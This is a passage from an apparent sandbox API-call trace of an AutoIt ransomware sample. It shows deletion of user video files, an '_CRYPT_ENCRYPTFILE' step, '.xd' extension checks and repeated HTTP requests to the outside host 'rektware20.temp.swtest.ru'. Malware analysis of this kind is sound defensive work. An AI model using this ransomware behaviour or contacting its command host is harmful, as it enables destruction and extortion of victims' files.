cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.206] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.206] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.206] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.206] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.206] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0068.206] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.206] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.207] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.207] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.207] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.207] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.207] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.207] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.207] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.207] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.207] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.207] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.207] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.207] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.207] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.207] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.207] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.207] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.207] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0068.208] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0068.208] CryptReleaseContext (hProv=0x17aad58, dwFlags=0x0) returned 1 [0068.208] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.208] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.208] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.208] FreeLibrary (hLibModule=0x74c60000) returned 1 [0068.208] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.208] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.208] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.208] CloseHandle (hObject=0x2ac) returned 1 [0068.208] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.208] CloseHandle (hObject=0x3bc) returned 1 [0068.219] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.221] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.221] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", lpFilePart=0x0) returned 0x3c [0068.222] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\i8f2wza81w.flv")) returned 0x20 [0068.222] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8f0 [0068.222] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\i8f2wza81w.flv")) returned 1 [0068.226] FindNextFileW (in: hFindFile=0x164c8f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0068.226] FindClose (in: hFindFile=0x164c8f0 | out: hFindFile=0x164c8f0) returned 1 [0068.226] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.226] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.226] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.226] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.226] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0068.226] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.227] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.227] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0068.227] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.227] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0068.227] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0068.227] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ee0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ee0, lpdwBufferLength=0x130ef8c) returned 1 [0068.227] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.227] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.227] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.228] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0068.228] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0068.228] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0068.228] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0068.228] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0068.228] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.229] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.229] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.229] CloseHandle (hObject=0x0) returned 0 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="atxbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="txbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xbCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CV\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jJ5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oJsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jsd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sd4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QqtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qtV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tV6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0068.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.231] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.231] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0068.231] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.231] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0068.231] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0068.231] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.231] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0068.231] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0068.231] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621000, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621000, lpdwBufferLength=0x130ee1c) returned 1 [0068.231] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.231] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.231] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.232] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0068.232] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0068.232] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0068.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0068.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629510, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629510*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0068.232] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.232] InternetCloseHandle 